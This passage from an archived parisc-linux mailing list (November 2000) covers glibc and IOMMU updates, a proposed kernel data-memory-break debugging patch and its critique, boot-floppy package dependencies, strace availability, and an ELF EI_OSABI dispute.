> out just after the glibc 2.2 merge. Do you think the merge / ld.so changes you 
> just made would help this problem at all?

Quite likely.  This fix

	* sysdeps/hppa/dl-machine.h (ELF_MACHINE_START_ADDRESS): Define.

is fairly crucial, as without it %dp will not be set correctly.  I should
have mentioned this when posting to the list about the binutils change.
Oh, and as of this email, I haven't actually run anything linked to the
new glibc.  A little remiss, I know, but I've been deep in the gdb port,
and if I spend time tinkering with glibc, binutils and gcc (which I like),
gdb (which I don't like) will never be finished. ;-)

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new SBA IOMMU version committed
Date: Wed, 22 Nov 2000 18:24:52 -0800 (PST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200011230224.SAA22668@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619337 7021 80.91.229.3 (22 Nov 2014 01:22:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:17 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Wed Nov 22 19:23:38 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA06622
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 19:23:38 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id 7999F5E2
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 21:25:54 -0500 (EST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id SAA22668
	for parisc-linux@puffin.external.hp.com; Wed, 22 Nov 2000 18:24:52 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8597

Hi all,
I've committed my "second generation" I/O MMU code for
C3K/J5k boxes. It's only tested for 32-bit.
I'll be testing 64-bit shortly.

This code makes "perfect" use of the I/O pdir resource map
and we shouldn't see any panics due to out_of_resource.

grant


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_DMB_TRAP diff
Date: Wed, 22 Nov 2000 18:47:06 -0800 (PST)
Lines: 219
Approved: news@gmane.org
Message-ID: <200011230247.SAA22769@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619338 7024 80.91.229.3 (22 Nov 2014 01:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:18 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Wed Nov 22 19:45:53 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id TAA07210
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 19:45:52 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id ECA934E4
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 21:48:08 -0500 (EST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id SAA22769
	for parisc-linux@puffin.external.hp.com; Wed, 22 Nov 2000 18:47:06 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8598

Hello again (last one until Monday - I promise),

With Lamont's wisdom, I implemented support for Date Memory Break trap.

This enables the kernel programmer to capture the evil code which
stomps on other people's "private" data. Only works for stores
through virtual addresses. gsc_writeX() and DMA will still
bypass this mechanism.

pb, dhd, (or some equivalent deity), could you review/commit this code?
Or tell me it's ok to commit?

I've touched:
	arch/parisc/config.in
	arch/parisc/kernel/entry.S
	arch/parisc/mm/kmap.c
	include/asm-parisc/pgtable.h

thanks,
grant


Index: arch/parisc/config.in
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/config.in,v
retrieving revision 1.25
diff -u -p -r1.25 config.in
--- config.in	2000/10/20 18:28:26	1.25
+++ config.in	2000/11/23 02:18:23
@@ -16,8 +16,12 @@ endmenu
 mainmenu_option next_comment
 comment 'General options'
 
-# bool 'Symmetric multi-processing support' CONFIG_SMP
-define_bool CONFIG_SMP n
+bool 'Symmetric multi-processing support' CONFIG_SMP
+# define_bool CONFIG_SMP n
+
+# One needs to tweak dmb_trap_11 code in entry.S to match.
+# Not tested for 64-bit kernel.
+bool 'Debug support for Data Memory Break Trap' CONFIG_DMB_TRAP
 
 bool 'Kernel Debugger support' CONFIG_KWDB
 # define_bool CONFIG_KWDB n
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.53
diff -u -p -r1.53 entry.S
--- entry.S	2000/11/22 16:51:33	1.53
+++ entry.S	2000/11/23 02:18:23
@@ -23,6 +23,7 @@
  */
 
 #include <asm/offset.h>
+#include <linux/autoconf.h>
 
 /* the following is the setup i think we should follow:
  * whenever the CPU is interruptible, the following has to be true:
@@ -349,7 +350,39 @@
 	.endm
 #endif
 
+#ifdef CONFIG_DMB_TRAP
 	/*
+	** Data Memory Bit trap interruption handler (parisc 1.1)
+	**
+	** This is a debugging aid. Use it when you think someone else
+	** is stepping on your memory. It only catches *virtual*
+	** accesses. gsc_writeX() functions disable virtual translation
+	** (D-bit) and will happily scribble whatever physical address
+	** is passed in.
+	**
+	** Here's how to use it:
+	** 1) Call iterate_pages() from your init routine like this:
+	**	iterate_pages( my_private_mem, private_mem_size,
+	**                         set_data_memory_break, 0);
+	** 2) substitute your functions for your_function1 (or 2) in
+	**    dmb_trap_11 code below.
+	**
+	** Thanks to Lamont Jones for telling me how to do this.
+	** - ggg 1/22/2000
+	*/
+	.macro	dmb_11 code
+
+	mfctl	%isr,spc
+	b       dmb_trap_11
+	mfctl	%ior,va
+
+	.align		32
+	.endm
+#else
+#define dmb_11 def
+#endif
+
+	/*
 	 * dirty bit trap interruption handler (parisc 2.0)
 	 */
 
@@ -448,7 +481,7 @@ fault_vector_11:
 	naitlb_11	16
 	nadtlb_11	17
 	def		18
-	def		19
+	dmb_11		19
 	dbit_11		20
 	def		21
 	def		22
@@ -467,7 +500,6 @@ fault_vector_11:
 	.import		handle_interruption,code
 	.import		handle_real_interruption,code
 	.import		do_irq_mask,code
-	.import		parisc_stopkernel,code
 	.import		cpu_irq_region,data
 
 	/*
@@ -903,11 +935,15 @@ dtlb_miss_11:
 	dep		pte,8,7,prot
 
 	extru,=		pte,_PAGE_NO_CACHE_BIT,1,r0
-	depi		1,12,1,prot
+	depi		1,12,1,prot	/* U-bit */
 	extru,=         pte,_PAGE_USER_BIT,1,r0
 	depi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
 	extru,= 	pte,_PAGE_GATEWAY_BIT,1,r0
 	depi		0,11,2,prot	/* If Gateway, Set PL2 to 0 */
+#ifdef CONFIG_DMB_TRAP
+	extru,=		pte,_PAGE_DMB_BIT,1,r0
+	depi		1,4,1,prot	/* B-bit */
+#endif
 
 	/* Get rid of prot bits and convert to page addr for idtlba */
 
@@ -1300,6 +1336,30 @@ dbit_trap_11:
 
 	rfir
 	nop
+
+#ifdef CONFIG_DMB_TRAP
+	.import		your_function1,code
+	.import		your_function2,code
+
+dmb_trap_11:
+	mfctl           pcsq,t0	/* get space */
+	comb,<>,n       t0,%r0,dmb_rfi  /* not kernel - bail */
+
+	mfctl           pcoq,t0		/* get offset */
+	ldil		L%dmb_ok_function1, t1
+	dep		%r0, 31, 12, t0
+	comb,=,n        t0,t1,dmb_rfi /* it's ours - bail */
+
+	ldil		L%dmb_ok_function2, t1
+	comb,<>,n       t0,t1,intr_save /* not ours - panic */
+
+dmb_rfi:
+	mfctl           ipsw,t0		/* Set PSW X-bit - just continue */
+	depi		1,11,1,t0	/* Set X-bit */
+	mtctl           t0, ipsw
+	rfir
+	nop
+#endif
 
 dbit_trap_20:
 	mfctl           %cr25,ptp	/* Assume user space trap */
Index: arch/parisc/mm/kmap.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/mm/kmap.c,v
retrieving revision 1.3
diff -u -p -r1.3 kmap.c
--- kmap.c	2000/05/05 18:05:47	1.3
+++ kmap.c	2000/11/23 02:18:23
@@ -43,7 +43,16 @@ static void unmap_cached_pte(pte_t * pte
 }
 #endif
 
+#ifdef CONFIG_DMB_TRAP
 /* These two routines should probably check a few things... */
+void set_data_memory_break(pte_t * pte, unsigned long arg)
+{
+	pte_val(*pte) |= _PAGE_DMB;
+}
+
+#endif
+
+/* These two routines should probably check a few things... */
 static void set_uncached(pte_t * pte, unsigned long arg)
 {
 	pte_val(*pte) |= _PAGE_NO_CACHE;
@@ -106,7 +115,10 @@ static inline void iterate_pmd(pgd_t * d
 	} while (address < end);
 }
 
-static void iterate_pages(unsigned long address, unsigned long size,
+#ifndef CONFIG_DMB_TRAP
+static
+#endif
+void iterate_pages(unsigned long address, unsigned long size,
 			  pte_iterator_t op, unsigned long arg)
 {
 	pgd_t *dir;
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/pgtable.h,v
retrieving revision 1.29
diff -u -p -r1.29 pgtable.h
--- pgtable.h	2000/11/10 21:44:44	1.29
+++ pgtable.h	2000/11/23 02:18:23
@@ -109,6 +109,10 @@ extern  void *vmalloc_start;
 #define _PAGE_USER      0x400   /* Software: User accessable page */
 #define _PAGE_USER_BIT     21   /* Needs to agree with _PAGE_USER above */
 				/* 0x800 still available */
+#ifdef CONFIG_DMB_TRAP
+#define _PAGE_DMB       0x800   /* Data Memory Break Trap */
+#define _PAGE_DMB_BIT      20   /* Data Memory Break Trap */
+#endif
 
 #ifdef __ASSEMBLY__
 #define _PGB_(x)	(1 << (63 - (x)))


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_DMB_TRAP diff
Date: Wed, 22 Nov 2000 22:50:14 -0700 (MST)
Lines: 71
Approved: news@gmane.org
Message-ID: <200011230550.WAA05143@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619338 7036 80.91.229.3 (22 Nov 2014 01:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:18 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Nov 22 22:49:12 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA08270
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 22:49:12 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 91ADE68A
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Nov 2000 00:51:28 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id WAA05143 for parisc-linux@puffin.external.hp.com; Wed, 22 Nov 2000 22:50:14 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8599

>
> Hello again (last one until Monday - I promise),
>
> With Lamont's wisdom, I implemented support for Date Memory Break trap.
>
> This enables the kernel programmer to capture the evil code which
> stomps on other people's "private" data. Only works for stores
> through virtual addresses. gsc_writeX() and DMA will still
> bypass this mechanism.
>
> pb, dhd, (or some equivalent deity), could you review/commit this code?
> Or tell me it's ok to commit?
>
> I've touched:
>         arch/parisc/config.in
>         arch/parisc/kernel/entry.S
>         arch/parisc/mm/kmap.c
>         include/asm-parisc/pgtable.h
>

Please don't. This solution is way more complicated than it should be.
Here are the problems with it:

     1) As I had already mentioned in a previous discussion, the
     pte's already reserve the location for the B bit (data memory
     break trap) and the dtlb miss handlers already move the entire
     group of bits that include this bit in one operation. So no
     change is necessary to the dtlb miss handlers to specially
     set that bit and incur extra instructions in the tlb miss handlers,
     and no extra bits need to be allocated in the pte. Instead of
     adding a new definition (e.g. 0x800, which is our last available bit)
     use the one that is already reserved for it: 0x010.

     2) There is no reason to add a special data memory break trap
     handler. The general trap handler is more than sufficient for
     this case. handle_interruption will be called if a data memory
     break trap is encountered. Just add a new case for the list
     of traps, and handle the trap in C. You can set the X bit by
     simply setting it in the saved ipsw (in gr[0]) and it will be
     set upon return from the trap, no muss, no fuss.


Note that the above also applies for the page reference trap.  The T bit
is also already supported (0x040 in the pte) by the dtlb miss handlers.
Note that the reason I reserved these bits is because it would actually
take MORE code in the dtlb miss handlers to NOT support those bits and use
them for something else.

Another helpful hint for those wanting to use this feature.  If you are
tracking corruptions that span multiple pages, then just setting the B bit
on each page may be all you need.  But, when I've used the data memory
break trap for corruption tracking, typically I've wanted to track a
corruption that was happening to a particular variable, i.e. a 4 byte
quantity, and lots of other variables were being legitimately written on
the same page, so you wind up with thousands of data memory break traps,
where only one may be the one that is corrupting the location you are
interested in.  But, all is not lost, the solution is still fairly simple.
The data memory break trap provides a valid iir, isr and ior.  So once you
get the trap, a custom data memory break handler (which can be written
with a few lines of C in handle_interruption), simply uses iir, isr and
ior to check if the access was to the specific byte or bytes you are
interested in.  I've simply used isr/ior to check for writes within the
word I was interested in.  That may be enough for most cases.  The
information you are missing from isr/ior is the size of the write
transaction.  To get this you would need to parse the instruction stored
in iir (code to determine the size of a store from the instruction in the
iir will be necessary when an unaligned fault handler is written).

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_DMB_TRAP diff
Date: Thu, 23 Nov 2000 01:29:55 -0700 (MST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200011230829.BAA07840@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619338 7041 80.91.229.3 (22 Nov 2014 01:22:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:18 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Thu Nov 23 01:28:57 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA10020
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Nov 2000 01:28:57 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id CBB186BC
	for <parisc-linux@puffin.external.hp.com>; Thu, 23 Nov 2000 01:31:25 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id BAA07840 for parisc-linux@puffin.external.hp.com; Thu, 23 Nov 2000 01:29:55 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8600

Alan Modra wrote:
>
> gdb will eventually want to use this trap too.
>

Cool! However, data memory break traps for user translations are a little
tougher. There are some small modifications in the machine dependent code
that I can make to make sure the B bit stays set during most VM operations
on a page. However, since the machine independent part of the VM system
doesn't know anything about this bit (nor should it), it won't be preserved
if the page is paged out (and subsequently paged back in). This could
be fixed fairly easily with some changes to the machine independent code,
but I don't think that would be appropriate.

Some potential solutions (each has its problems):

1) Just document the fact that the feature may not work on systems with
low memory. It's a parisc only feature, so perhaps we could live with that.

2) Lock the page in memory (using the mlock interface) when we set the B
bit on a page.


Just some thoughts on the subject.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot-floppies dependancies
Date: Fri, 24 Nov 2000 16:56:16 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <20001124165616.B868@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="GRPZ8SYKNexpdSJ7"
X-Trace: ger.gmane.org 1416619339 7044 80.91.229.3 (22 Nov 2014 01:22:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:19 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: pjlahaie@produce.com  Fri Nov 24 14:52:50 2000
Original-Received: from localhost.localdomain (ottawa.linuxcare.com [216.208.98.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA28375
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Nov 2000 14:52:49 -0700
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id eAOLuG401524
	for parisc-linux@puffin.external.hp.com; Fri, 24 Nov 2000 16:56:16 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:8601


--GRPZ8SYKNexpdSJ7
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I would like to know if anyone has built any of the following packages
that are needed for the boot-floppies.

Currently, the missing deps are:

cspsfonts
man-db
tetex-bin
recode
cslatex
libpaperg
tetex-extra
libnewt-dev
libgd1g-dev
gawk
libi18n-langtags-perl
dpkg-awk
debiandoc-sgml

I'm currently trying to get a working apt, since the one of pehc and the .iso
seem to be broken (no xfer methods).  I'll let everyone know when a working
copy will be available.

						- Paul

--GRPZ8SYKNexpdSJ7
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6HuP/8ggPQthPCzcRAnyKAJ0fyraVXEvlI0yQLsli7FlnUUAPdwCfSyv/
YgAxOcVMDgWfHBc7lneuc1Y=
=tScM
-----END PGP SIGNATURE-----

--GRPZ8SYKNexpdSJ7--


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave O'Neill" <doneill@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] strace?
Date: Fri, 24 Nov 2000 17:01:00 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0011241656250.1147-100000@talisker.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619339 7046 80.91.229.3 (22 Nov 2014 01:22:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:19 +0000 (UTC)
To: <parisc-linux@puffin.external.hp.com>
Original-X-From: doneill@linuxcare.com  Fri Nov 24 14:58:46 2000
Original-Received: from smtp.linuxcare.com ([216.88.157.131])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA28785
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Nov 2000 14:58:46 -0700
Original-Received: (qmail 12020 invoked from network); 24 Nov 2000 22:01:07 -0000
Original-Received: from ottawa.linuxcare.com (HELO talisker.thepuffingroup.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 24 Nov 2000 22:01:07 -0000
X-Sender: <dmo@talisker.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8602


So, I've heard rumours that somewhere there's a working strace for
parisc....  Can anyone point me in the right direction?

Dave
-- 
Dave O'Neill,    Senior Linux Consultant,     Linuxcare, Inc.
desk: (613) 562-9949 fax: (613) 562-9700 cell: (613) 223-0219
doneill@linuxcare.com               http://www.linuxcare.com/


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David O'Brien" <obrien@FreeBSD.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Sat, 25 Nov 2000 12:22:11 -0800
Organization: The NUXI BSD group
Lines: 16
Approved: news@gmane.org
Message-ID: <20001125122211.A96258@dragon.nuxi.com>
References: <Pine.LNX.4.21.0011220914180.16860-100000@front.linuxcare.com.au> <m3u290j488.fsf@otr.mynet.cygnus.com>
Reply-To: obrien@FreeBSD.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619339 7051 80.91.229.3 (22 Nov 2014 01:22:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:19 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: obrien@NUXI.com  Sat Nov 25 13:20:30 2000
Original-Received: from relay.nuxi.com (root@nuxi.cs.ucdavis.edu [169.237.7.38])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA02437
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Nov 2000 13:20:29 -0700
Original-Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57])
	by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id MAA56204;
	Sat, 25 Nov 2000 12:22:34 -0800 (PST)
	(envelope-from obrien@NUXI.com)
Original-Received: (from obrien@localhost)
	by dragon.nuxi.com (8.11.1/8.11.1) id eAPKMG496286;
	Sat, 25 Nov 2000 12:22:16 -0800 (PST)
	(envelope-from obrien)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m3u290j488.fsf@otr.mynet.cygnus.com>; from drepper@redhat.com on Tue, Nov 21, 2000 at 03:27:19PM -0800
X-Operating-System: FreeBSD 5.0-CURRENT
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Xref: news.gmane.org gmane.linux.ports.parisc:8603

On Tue, Nov 21, 2000 at 03:27:19PM -0800, Ulrich Drepper wrote:
> Alan Modra <alan@linuxcare.com.au> writes:
> 
> > Ulrich Drepper also was quite vehement against changing sourceware
> > FreeBSD binutils.
> 
> I've never said anything about any *BSD, why should I?  The *BSD
> people wanted to change the Linux binutils.

No (don't put words in my mouth Ulrich as you'll be wrong 99% of the
time).  I wanted the Sourceware Binutils to set the EI_OSABI to
"ELFOSABI_LINUX" when targeting Linux.
 
-- 
-- David  (obrien@FreeBSD.org)


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David O'Brien" <obrien@FreeBSD.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Sat, 25 Nov 2000 12:28:40 -0800
Organization: The NUXI BSD group
Lines: 16
Approved: news@gmane.org
Message-ID: <20001125122840.D96258@dragon.nuxi.com>
References: <20001121165327.A12804@valinux.com> <Pine.LNX.4.21.0011221258270.16860-100000@front.linuxcare.com.au> <20001121191129.A4978@valinux.com>
Reply-To: obrien@FreeBSD.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619340 7055 80.91.229.3 (22 Nov 2014 01:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:20 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, Ulrich Drepper <drepper@cygnus.com>,
        John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@puffin.external.hp.com, parisc-linux@thepuffingroup.com,
        binutils@sourceware.cygnus.com
To: "H . J . Lu" <hjl@valinux.com>
Original-X-From: obrien@NUXI.com  Sat Nov 25 13:28:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA02859
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Nov 2000 13:28:25 -0700
Original-Received: (qmail 29266 invoked by uid 15267); 25 Nov 2000 20:30:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29221 invoked from network); 25 Nov 2000 20:30:43 -0000
Original-Received: from nuxi.cs.ucdavis.edu (HELO relay.nuxi.com) (root@169.237.7.38)
  by mailserv2.iuinc.com with SMTP; 25 Nov 2000 20:30:43 -0000
Original-Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57])
	by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id MAA56235;
	Sat, 25 Nov 2000 12:29:33 -0800 (PST)
	(envelope-from obrien@NUXI.com)
Original-Received: (from obrien@localhost)
	by dragon.nuxi.com (8.11.1/8.11.1) id eAPKSeH96352;
	Sat, 25 Nov 2000 12:28:40 -0800 (PST)
	(envelope-from obrien)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001121191129.A4978@valinux.com>; from hjl@valinux.com on Tue, Nov 21, 2000 at 07:11:29PM -0800
X-Operating-System: FreeBSD 5.0-CURRENT
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Xref: news.gmane.org gmane.linux.ports.parisc:8604

On Tue, Nov 21, 2000 at 07:11:29PM -0800, H . J . Lu wrote:
> When I was at the IA64 ABI meeting yesterday, we were looking at the
> EI_OSABI issue. Everyone at the IA64 ABI meeting agreed that what
> Ulrich and I had said was the correct understanding.
> 
> "The e_ident[EI_OSABI] value identifies the operating system and ABI
> to which the object is targeted" just means if the e_ident[EI_OSABI]


Then is this *extremely* misleading text going to be changed???
"the operating system and" needs to be deleted in the _official_
_published_ specification.

-- 
-- David  (obrien@FreeBSD.org)


From - Thu Nov 08 21:14:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David O'Brien" <obrien@FreeBSD.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Sat, 25 Nov 2000 12:31:08 -0800
Organization: The NUXI BSD group
Lines: 19
Approved: news@gmane.org
Message-ID: <20001125123108.E96258@dragon.nuxi.com>
References: <Pine.LNX.4.21.0011221258270.16860-100000@front.linuxcare.com.au> <m3aeasitj6.fsf@otr.mynet.cygnus.com>
Reply-To: obrien@FreeBSD.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619340 7057 80.91.229.3 (22 Nov 2014 01:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:20 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com,
        parisc-linux@thepuffingroup.com, binutils@sourceware.cygnus.com
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: obrien@NUXI.com  Sat Nov 25 13:29:19 2000
Original-Received: from relay.nuxi.com (root@nuxi.cs.ucdavis.edu [169.237.7.38])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA03069
	for <parisc-linux@puffin.external.hp.com>; Sat, 25 Nov 2000 13:29:18 -0700
Original-Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57])
	by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id MAA56261;
	Sat, 25 Nov 2000 12:31:22 -0800 (PST)
	(envelope-from obrien@NUXI.com)
